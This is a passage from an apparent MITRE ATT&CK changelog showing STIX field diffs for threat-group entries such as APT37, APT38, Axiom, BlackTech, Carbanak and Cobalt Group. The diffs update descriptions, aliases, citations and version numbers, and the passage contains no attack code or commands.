between 2016-2018: Operation Daybreak, Operation Erebus, Golden Time, Evil New Year, Are you Happy?, FreeMilk, North Korean Human Rights, and Evil New Year 2018.(Citation: FireEye APT37 Feb 2018)(Citation: Securelist ScarCruft Jun 2016)(Citation: Talos Group123) North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups. |
| external_references[2]['source_name'] | ScarCruft | Richochet Chollima |
| external_references[2]['description'] | (Citation: Securelist ScarCruft Jun 2016) (Citation: FireEye APT37 Feb 2018)(Citation: Securelist ScarCruft May 2019) | (Citation: CrowdStrike Richochet Chollima September 2021) |
| external_references[3]['source_name'] | Reaper | InkySquid |
| external_references[3]['description'] | (Citation: FireEye APT37 Feb 2018) | (Citation: Volexity InkySquid BLUELIGHT August 2021) |
| external_references[4]['source_name'] | Group123 | ScarCruft |
| external_references[4]['description'] | (Citation: FireEye APT37 Feb 2018) | (Citation: Securelist ScarCruft Jun 2016)(Citation: FireEye APT37 Feb 2018)(Citation: Securelist ScarCruft May 2019) |
| external_references[5]['source_name'] | TEMP.Reaper | Reaper |
| external_references[6]['source_name'] | FireEye APT37 Feb 2018 | Group123 |
| external_references[6]['description'] | FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018. | (Citation: FireEye APT37 Feb 2018) |
| external_references[7]['source_name'] | Securelist ScarCruft Jun 2016 | TEMP.Reaper |
| external_references[7]['description'] | Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018. | (Citation: FireEye APT37 Feb 2018) |
| external_references[8]['source_name'] | Talos Group123 | FireEye APT37 Feb 2018 |
| external_references[8]['description'] | Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018. | FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018. |
| external_references[8]['url'] | https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html | https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
| external_references[9]['source_name'] | US-CERT HIDDEN COBRA June 2017 | Securelist ScarCruft Jun 2016 |
| external_references[9]['description'] | US-CERT. (2017, June 13). Alert (TA17-164A) HIDDEN COBRA – North Korea’s DDoS Botnet Infrastructure. Retrieved July 13, 2017. | Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018. |
| external_references[9]['url'] | https://www.us-cert.gov/ncas/alerts/TA17-164A | https://securelist.com/operation-daybreak/75100/ |
| external_references[10]['source_name'] | Kaspersky Lazarus Under The Hood Blog 2017 | Talos Group123 |
| external_references[10]['description'] | GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019. | Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018. |
| external_references[10]['url'] | https://securelist.com/lazarus-under-the-hood/77908/ | https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html |
| external_references[11]['source_name'] | Securelist ScarCruft May 2019 | CrowdStrike Richochet Chollima September 2021 |
| external_references[11]['description'] | GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019. | CrowdStrike. (2021, September 30). Adversary Profile - Richochet Chollima. Retrieved September 30, 2021. |
| external_references[11]['url'] | https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/ | https://adversary.crowdstrike.com/en-US/adversary/ricochet-chollima/ |
| x_mitre_version | 1.5 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | Richochet Chollima | |
| aliases | InkySquid | |
| external_references | {'source_name': 'Volexity InkySquid BLUELIGHT August 2021', 'description': 'Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021.', 'url': 'https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/'} | |
| external_references | {'source_name': 'Securelist ScarCruft May 2019', 'description': 'GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.', 'url': 'https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/'} |
Current version: 2.0
Version changed from: 1.2 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [APT38](https://attack.mitre.org/groups/G0082) is a financia | t | 1 | [APT38](https://attack.mitre.org/groups/G0082) is a North Ko |
| > | lly-motivated threat group that is backed by the North Korea | > | rean state-sponsored threat group that specializes in financ | ||
| > | n regime. The group mainly targets banks and financial insti | > | ial cyber operations; it has been attributed to the Reconnai | ||
| > | tutions and has targeted more than 16 organizations in at le | > | ssance General Bureau.(Citation: CISA AA20-239A BeagleBoyz A | ||
| > | ast 13 countries since at least 2014.(Citation: FireEye APT3 | > | ugust 2020) Active since at least 2014, [APT38](https://atta | ||
| > | 8 Oct 2018) North Korean group definitions are known to hav | > | ck.mitre.org/groups/G0082) has targeted banks, financial ins | ||
| > | e significant overlap, and the name [Lazarus Group](https:// | > | titutions, casinos, cryptocurrency exchanges, SWIFT system e | ||
| > | attack.mitre.org/groups/G0032) is known to encompass a broad | > | ndpoints, and ATMs in at least 38 countries worldwide. Signi | ||
| > | range of activity. Some organizations use the name Lazarus | > | ficant operations include the 2016 Bank of Bangladesh heist, | ||
| > | Group to refer to any activity attributed to North Korea.(Ci | > | during which [APT38](https://attack.mitre.org/groups/G0082) | ||
| > | tation: US-CERT HIDDEN COBRA June 2017) Some organizations t | > | stole $81 million, as well as attacks against Bancomext (20 | ||
| > | rack North Korean clusters or groups such as Bluenoroff,(Cit | > | 18) and Banco de Chile (2018); some of their attacks have be | ||
| > | ation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](h | > | en destructive.(Citation: CISA AA20-239A BeagleBoyz August 2 | ||
| > | ttps://attack.mitre.org/groups/G0067), and [APT38](https://a | > | 020)(Citation: FireEye APT38 Oct 2018)(Citation: DOJ North K | ||
| > | ttack.mitre.org/groups/G0082) separately, while other organi | > | orea Indictment Feb 2021)(Citation: Kaspersky Lazarus Under | ||
| > | zations may track some activity associated with those group | > | The Hood Blog 2017) North Korean group definitions are know | ||
| > | names by the name Lazarus Group. | > | n to have significant overlap, and some security researchers | ||
| > | report all North Korean state-sponsored cyber activity unde | ||||
| > | r the name [Lazarus Group](https://attack.mitre.org/groups/G | ||||
| > | 0032) instead of tracking clusters or subgroups. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://content.fireeye.com/apt/rpt-apt38 | |
| external_references | https://www.us-cert.gov/ncas/alerts/TA17-164A | |
| external_references | https://securelist.com/lazarus-under-the-hood/77908/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:50:43.737000+00:00 | 2022-01-18 17:13:14.610000+00:00 |
| description | [APT38](https://attack.mitre.org/groups/G0082) is a financially-motivated threat group that is backed by the North Korean regime. The group mainly targets banks and financial institutions and has targeted more than 16 organizations in at least 13 countries since at least 2014.(Citation: FireEye APT38 Oct 2018) North Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group. | [APT38](https://attack.mitre.org/groups/G0082) is a North Korean state-sponsored threat group that specializes in financial cyber operations; it has been attributed to the Reconnaissance General Bureau.(Citation: CISA AA20-239A BeagleBoyz August 2020) Active since at least 2014, [APT38](https://attack.mitre.org/groups/G0082) has targeted banks, financial institutions, casinos, cryptocurrency exchanges, SWIFT system endpoints, and ATMs in at least 38 countries worldwide. Significant operations include the 2016 Bank of Bangladesh heist, during which [APT38](https://attack.mitre.org/groups/G0082) stole $81 million, as well as attacks against Bancomext (2018) and Banco de Chile (2018); some of their attacks have been destructive.(Citation: CISA AA20-239A BeagleBoyz August 2020)(Citation: FireEye APT38 Oct 2018)(Citation: DOJ North Korea Indictment Feb 2021)(Citation: Kaspersky Lazarus Under The Hood Blog 2017) North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups. |
| external_references[2]['source_name'] | FireEye APT38 Oct 2018 | NICKEL GLADSTONE |
| external_references[2]['description'] | FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018. | (Citation: SecureWorks NICKEL GLADSTONE profile Sept 2021) |
| external_references[3]['source_name'] | US-CERT HIDDEN COBRA June 2017 | BeagleBoyz |
| external_references[3]['description'] | US-CERT. (2017, June 13). Alert (TA17-164A) HIDDEN COBRA – North Korea’s DDoS Botnet Infrastructure. Retrieved July 13, 2017. | (Citation: CISA AA20-239A BeagleBoyz August 2020) |
| external_references[4]['source_name'] | Kaspersky Lazarus Under The Hood Blog 2017 | Bluenoroff |
| external_references[4]['description'] | GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019. | (Citation: Kaspersky Lazarus Under The Hood Blog 2017) |
| x_mitre_version | 1.2 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | NICKEL GLADSTONE | |
| aliases | BeagleBoyz | |
| aliases | Bluenoroff | |
| aliases | Stardust Chollima | |
| external_references | {'source_name': 'Stardust Chollima', 'description': '(Citation: CrowdStrike Stardust Chollima Profile April 2018)(Citation: CrowdStrike GTR 2021 June 2021)'} | |
| external_references | {'source_name': 'CISA AA20-239A BeagleBoyz August 2020', 'description': "DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021.", 'url': 'https://us-cert.cisa.gov/ncas/alerts/aa20-239a'} | |
| external_references | {'source_name': 'FireEye APT38 Oct 2018', 'description': 'FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.', 'url': 'https://content.fireeye.com/apt/rpt-apt38'} | |
| external_references | {'source_name': 'DOJ North Korea Indictment Feb 2021', 'description': 'Department of Justice. (2021, February 17). Three North Korean Military Hackers Indicted in Wide-Ranging Scheme to Commit Cyberattacks and Financial Crimes Across the Globe. Retrieved June 9, 2021.', 'url': 'https://www.justice.gov/opa/pr/three-north-korean-military-hackers-indicted-wide-ranging-scheme-commit-cyberattacks-and'} | |
| external_references | {'source_name': 'Kaspersky Lazarus Under The Hood Blog 2017', 'description': 'GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.', 'url': 'https://securelist.com/lazarus-under-the-hood/77908/'} | |
| external_references | {'source_name': 'SecureWorks NICKEL GLADSTONE profile Sept 2021', 'description': 'SecureWorks. (2021, September 29). NICKEL GLADSTONE Threat Profile. Retrieved September 29, 2021.', 'url': 'https://www.secureworks.com/research/threat-profiles/nickel-gladstone'} | |
| external_references | {'source_name': 'CrowdStrike Stardust Chollima Profile April 2018', 'description': 'Meyers, Adam. (2018, April 6). Meet CrowdStrike’s Adversary of the Month for April: STARDUST CHOLLIMA. Retrieved September 29, 2021.', 'url': 'https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-april-stardust-chollima/'} | |
| external_references | {'source_name': 'CrowdStrike GTR 2021 June 2021', 'description': 'CrowdStrike. (2021, June 7). CrowdStrike 2021 Global Threat Report. Retrieved September 29, 2021.', 'url': 'https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf'} |
Current version: 2.0
Version changed from: 1.2 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Axiom](https://attack.mitre.org/groups/G0001) is a cyber es | t | 1 | [Axiom](https://attack.mitre.org/groups/G0001) is a suspecte |
| > | pionage group suspected to be associated with the Chinese go | > | d Chinese cyber espionage group that has targeted the aerosp | ||
| > | vernment. It is responsible for the Operation SMN campaign. | > | ace, defense, government, manufacturing, and media sectors s | ||
| > | (Citation: Novetta-Axiom) Though both this group and [Winnti | > | ince at least 2008. Some reporting suggests a degree of over | ||
| > | Group](https://attack.mitre.org/groups/G0044) use the malwa | > | lap between [Axiom](https://attack.mitre.org/groups/G0001) a | ||
| > | re [Winnti for Windows](https://attack.mitre.org/software/S0 | > | nd [Winnti Group](https://attack.mitre.org/groups/G0044) but | ||
| > | 141), the two groups appear to be distinct based on differen | > | the two groups appear to be distinct based on differences i | ||
| > | ces in reporting on the groups' TTPs and targeting. (Citatio | > | n reporting on TTPs and targeting.(Citation: Kaspersky Winnt | ||
| > | n: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti | > | i April 2013)(Citation: Kaspersky Winnti June 2015)(Citation | ||
| > | June 2015) (Citation: Novetta Winnti April 2015) | > | : Novetta Winnti April 2015) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:52:38.226000+00:00 | 2022-04-15 15:52:00.359000+00:00 |
| description | [Axiom](https://attack.mitre.org/groups/G0001) is a cyber espionage group suspected to be associated with the Chinese government. It is responsible for the Operation SMN campaign. (Citation: Novetta-Axiom) Though both this group and [Winnti Group](https://attack.mitre.org/groups/G0044) use the malware [Winnti for Windows](https://attack.mitre.org/software/S0141), the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015) | [Axiom](https://attack.mitre.org/groups/G0001) is a suspected Chinese cyber espionage group that has targeted the aerospace, defense, government, manufacturing, and media sectors since at least 2008. Some reporting suggests a degree of overlap between [Axiom](https://attack.mitre.org/groups/G0001) and [Winnti Group](https://attack.mitre.org/groups/G0044) but the two groups appear to be distinct based on differences in reporting on TTPs and targeting.(Citation: Kaspersky Winnti April 2013)(Citation: Kaspersky Winnti June 2015)(Citation: Novetta Winnti April 2015) |
| external_references[1]['source_name'] | Axiom | Group 72 |
| external_references[1]['description'] | (Citation: Novetta-Axiom) | (Citation: Cisco Group 72) |
| external_references[2]['source_name'] | Group 72 | Axiom |
| external_references[2]['description'] | (Citation: Cisco Group 72) | (Citation: Novetta-Axiom) |
| external_references[3]['source_name'] | Novetta-Axiom | Cisco Group 72 |
| external_references[3]['description'] | Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014. | Esler, J., Lee, M., and Williams, C. (2014, October 14). Threat Spotlight: Group 72. Retrieved January 14, 2016. |
| external_references[3]['url'] | http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf | http://blogs.cisco.com/security/talos/threat-spotlight-group-72 |
| external_references[5]['source_name'] | Kaspersky Winnti June 2015 | Novetta Winnti April 2015 |
| external_references[5]['description'] | Tarakanov, D. (2015, June 22). Games are over: Winnti is now targeting pharmaceutical companies. Retrieved January 14, 2016. | Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017. |
| external_references[5]['url'] | https://securelist.com/games-are-over/70991/ | http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf |
| external_references[6]['source_name'] | Novetta Winnti April 2015 | Novetta-Axiom |
| external_references[6]['description'] | Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017. | Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014. |
| external_references[6]['url'] | http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf | http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf |
| external_references[7]['source_name'] | Cisco Group 72 | Kaspersky Winnti June 2015 |
| external_references[7]['description'] | Esler, J., Lee, M., and Williams, C.. (2014, October 14). Threat Spotlight: Group 72. Retrieved January 14, 2016. | Tarakanov, D. (2015, June 22). Games are over: Winnti is now targeting pharmaceutical companies. Retrieved January 14, 2016. |
| external_references[7]['url'] | http://blogs.cisco.com/security/talos/threat-spotlight-group-72 | https://securelist.com/games-are-over/70991/ |
| x_mitre_version | 1.2 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [BlackTech](https://attack.mitre.org/groups/G0098) is a cybe | t | 1 | [BlackTech](https://attack.mitre.org/groups/G0098) is a susp |
| > | r espionage group operating against targets in East Asia, pa | > | ected Chinese cyber espionage group that has primarily targe | ||
| > | rticularly Taiwan, and occasionally, Japan and Hong Kong.(Ci | > | ted organizations in East Asia--particularly Taiwan, Japan, | ||
| > | tation: TrendMicro BlackTech June 2017) | > | and Hong Kong--and the US since at least 2013. [BlackTech](h | ||
| > | ttps://attack.mitre.org/groups/G0098) has used a combination | ||||
| > | of custom malware, dual-use tools, and living off the land | ||||
| > | tactics to compromise media, construction, engineering, elec | ||||
| > | tronics, and financial company networks.(Citation: TrendMicr | ||||
| > | o BlackTech June 2017)(Citation: Symantec Palmerworm Sep 202 | ||||
| > | 0)(Citation: Reuters Taiwan BlackTech August 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-06 18:12:23.832000+00:00 | 2022-04-06 13:14:27.477000+00:00 |
| description | [BlackTech](https://attack.mitre.org/groups/G0098) is a cyber espionage group operating against targets in East Asia, particularly Taiwan, and occasionally, Japan and Hong Kong.(Citation: TrendMicro BlackTech June 2017) | [BlackTech](https://attack.mitre.org/groups/G0098) is a suspected Chinese cyber espionage group that has primarily targeted organizations in East Asia--particularly Taiwan, Japan, and Hong Kong--and the US since at least 2013. [BlackTech](https://attack.mitre.org/groups/G0098) has used a combination of custom malware, dual-use tools, and living off the land tactics to compromise media, construction, engineering, electronics, and financial company networks.(Citation: TrendMicro BlackTech June 2017)(Citation: Symantec Palmerworm Sep 2020)(Citation: Reuters Taiwan BlackTech August 2020) |
| external_references[1]['source_name'] | TrendMicro BlackTech June 2017 | Palmerworm |
| external_references[1]['description'] | Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020. | (Citation: Symantec Palmerworm Sep 2020)(Citation: IronNet BlackTech Oct 2021) |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | Palmerworm | |
| external_references | {'source_name': 'TrendMicro BlackTech June 2017', 'description': 'Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/'} | |
| external_references | {'source_name': 'IronNet BlackTech Oct 2021', 'description': 'Demboski, M., et al. (2021, October 26). China cyber attacks: the current threat landscape. Retrieved March 25, 2022.', 'url': 'https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape'} | |
| external_references | {'source_name': 'Reuters Taiwan BlackTech August 2020', 'description': 'Lee, Y. (2020, August 19). Taiwan says China behind cyberattacks on government agencies, emails. Retrieved April 6, 2022.', 'url': 'https://www.reuters.com/article/us-taiwan-cyber-china/taiwan-says-china-behind-cyberattacks-on-government-agencies-emails-idUSKCN25F0JK'} | |
| external_references | {'source_name': 'Symantec Palmerworm Sep 2020', 'description': 'Threat Intelligence. (2020, September 29). Palmerworm: Espionage Gang Targets the Media, Finance, and Other Sectors. Retrieved March 25, 2022.', 'url': 'https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt'} | |
| x_mitre_contributors | Hannah Simes, BT Security |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Carbanak](https://attack.mitre.org/groups/G0008) is a threa | t | 1 | [Carbanak](https://attack.mitre.org/groups/G0008) is a cyber |
| > | t group that mainly targets banks. It also refers to malware | > | criminal group that has used [Carbanak](https://attack.mitre | ||
| > | of the same name ([Carbanak](https://attack.mitre.org/softw | > | .org/software/S0030) malware to target financial institution | ||
| > | are/S0030)). It is sometimes referred to as [FIN7](https://a | > | s since at least 2013. [Carbanak](https://attack.mitre.org/g | ||
| > | ttack.mitre.org/groups/G0046), but these appear to be two gr | > | roups/G0008) may be linked to groups tracked separately as [ | ||
| > | oups using the same [Carbanak](https://attack.mitre.org/soft | > | Cobalt Group](https://attack.mitre.org/groups/G0080) and [FI | ||
| > | ware/S0030) malware and are therefore tracked separately. (C | > | N7](https://attack.mitre.org/groups/G0046) that have also us | ||
| > | itation: Kaspersky Carbanak) (Citation: FireEye FIN7 April 2 | > | ed [Carbanak](https://attack.mitre.org/software/S0030) malwa | ||
| > | 017) | > | re.(Citation: Kaspersky Carbanak)(Citation: FireEye FIN7 Apr | ||
| > | il 2017)(Citation: Europol Cobalt Mar 2018)(Citation: Secure | ||||
| > | works GOLD NIAGARA Threat Profile)(Citation: Secureworks GOL | ||||
| > | D KINGSWOOD Threat Profile) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 00:22:39.895000+00:00 | 2021-10-18 21:02:30.899000+00:00 |
| description | [Carbanak](https://attack.mitre.org/groups/G0008) is a threat group that mainly targets banks. It also refers to malware of the same name ([Carbanak](https://attack.mitre.org/software/S0030)). It is sometimes referred to as [FIN7](https://attack.mitre.org/groups/G0046), but these appear to be two groups using the same [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately. (Citation: Kaspersky Carbanak) (Citation: FireEye FIN7 April 2017) | [Carbanak](https://attack.mitre.org/groups/G0008) is a cybercriminal group that has used [Carbanak](https://attack.mitre.org/software/S0030) malware to target financial institutions since at least 2013. [Carbanak](https://attack.mitre.org/groups/G0008) may be linked to groups tracked separately as [Cobalt Group](https://attack.mitre.org/groups/G0080) and [FIN7](https://attack.mitre.org/groups/G0046) that have also used [Carbanak](https://attack.mitre.org/software/S0030) malware.(Citation: Kaspersky Carbanak)(Citation: FireEye FIN7 April 2017)(Citation: Europol Cobalt Mar 2018)(Citation: Secureworks GOLD NIAGARA Threat Profile)(Citation: Secureworks GOLD KINGSWOOD Threat Profile) |
| external_references[3]['source_name'] | Carbon Spider | Kaspersky Carbanak |
| external_references[3]['description'] | (Citation: Crowdstrike State of Criminal May 2016) | Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018. |
| external_references[4]['source_name'] | Kaspersky Carbanak | FireEye FIN7 April 2017 |
| external_references[4]['description'] | Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018. | Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017. |
| external_references[4]['url'] | https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf | https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html |
| external_references[5]['source_name'] | FireEye FIN7 April 2017 | Europol Cobalt Mar 2018 |
| external_references[5]['description'] | Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017. | Europol. (2018, March 26). Mastermind Behind EUR 1 Billion Cyber Bank Robbery Arrested in Spain. Retrieved October 10, 2018. |
| external_references[5]['url'] | https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html | https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain |
| external_references[6]['source_name'] | Fox-It Anunak Feb 2015 | Secureworks GOLD NIAGARA Threat Profile |
| external_references[6]['description'] | Prins, R. (2015, February 16). Anunak (aka Carbanak) Update. Retrieved January 20, 2017. | CTU. (n.d.). GOLD NIAGARA. Retrieved September 21, 2021. |
| external_references[6]['url'] | https://www.fox-it.com/en/about-fox-it/corporate/news/anunak-aka-carbanak-update/ | https://www.secureworks.com/research/threat-profiles/gold-niagara |
| external_references[7]['source_name'] | Crowdstrike State of Criminal May 2016 | Secureworks GOLD KINGSWOOD Threat Profile |
| external_references[7]['description'] | Johnston, R. (2016, May 16). State of the Criminal Address. Retrieved December 7, 2017. | Secureworks. (n.d.). GOLD KINGSWOOD. Retrieved October 18, 2021. |
| external_references[7]['url'] | https://www.crowdstrike.com/blog/state-criminal-address/ | https://www.secureworks.com/research/threat-profiles/gold-kingswood?filter=item-financial-gain |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Fox-It Anunak Feb 2015', 'description': 'Prins, R. (2015, February 16). Anunak (aka Carbanak) Update. Retrieved January 20, 2017.', 'url': 'https://www.fox-it.com/en/news/blog/anunak-aka-carbanak-update/'} |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | Carbon Spider |
Current version: 2.0
Version changed from: 1.2 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Cobalt Group](https://attack.mitre.org/groups/G0080) is a f | t | 1 | [Cobalt Group](https://attack.mitre.org/groups/G0080) is a f |
| > | inancially motivated threat group that has primarily targete | > | inancially motivated threat group that has primarily targete | ||
| > | d financial institutions. The group has conducted intrusions | > | d financial institutions since at least 2016. The group has | ||
| > | to steal money via targeting ATM systems, card processing, | > | conducted intrusions to steal money via targeting ATM system | ||
| > | payment systems and SWIFT systems. [Cobalt Group](https://at | > | s, card processing, payment systems and SWIFT systems. [Coba | ||
| > | tack.mitre.org/groups/G0080) has mainly targeted banks in Ea | > | lt Group](https://attack.mitre.org/groups/G0080) has mainly | ||
| > | stern Europe, Central Asia, and Southeast Asia. One of the a | > | targeted banks in Eastern Europe, Central Asia, and Southeas | ||
| > | lleged leaders was arrested in Spain in early 2018, but the | > | t Asia. One of the alleged leaders was arrested in Spain in | ||
| > | group still appears to be active. The group has been known t | > | early 2018, but the group still appears to be active. The gr | ||
| > | o target organizations in order to use their access to then | > | oup has been known to target organizations in order to use t | ||
| > | compromise additional victims. (Citation: Talos Cobalt Group | > | heir access to then compromise additional victims.(Citation: | ||
| > | July 2018) (Citation: PTSecurity Cobalt Group Aug 2017) (Ci | > | Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt G | ||
| > | tation: PTSecurity Cobalt Dec 2016) (Citation: Group IB Coba | > | roup Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citatio | ||
| > | lt Aug 2017) (Citation: Proofpoint Cobalt June 2017) (Citati | > | n: Group IB Cobalt Aug 2017)(Citation: Proofpoint Cobalt Jun | ||
| > | on: RiskIQ Cobalt Nov 2017) (Citation: RiskIQ Cobalt Jan 201 | > | e 2017)(Citation: RiskIQ Cobalt Nov 2017)(Citation: RiskIQ C | ||
| > | 8) Reporting indicates there may be links between [Cobalt Gr | > | obalt Jan 2018) Reporting indicates there may be links betwe | ||
| > | oup](https://attack.mitre.org/groups/G0080) and both the mal | > | en [Cobalt Group](https://attack.mitre.org/groups/G0080) and | ||
| > | ware [Carbanak](https://attack.mitre.org/software/S0030) and | > | both the malware [Carbanak](https://attack.mitre.org/softwa | ||
| > | the group [Carbanak](https://attack.mitre.org/groups/G0008) | > | re/S0030) and the group [Carbanak](https://attack.mitre.org/ | ||
| > | . (Citation: Europol Cobalt Mar 2018) | > | groups/G0008).(Citation: Europol Cobalt Mar 2018) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-23 19:41:51.510000+00:00 | 2021-10-18 22:02:12.586000+00:00 |
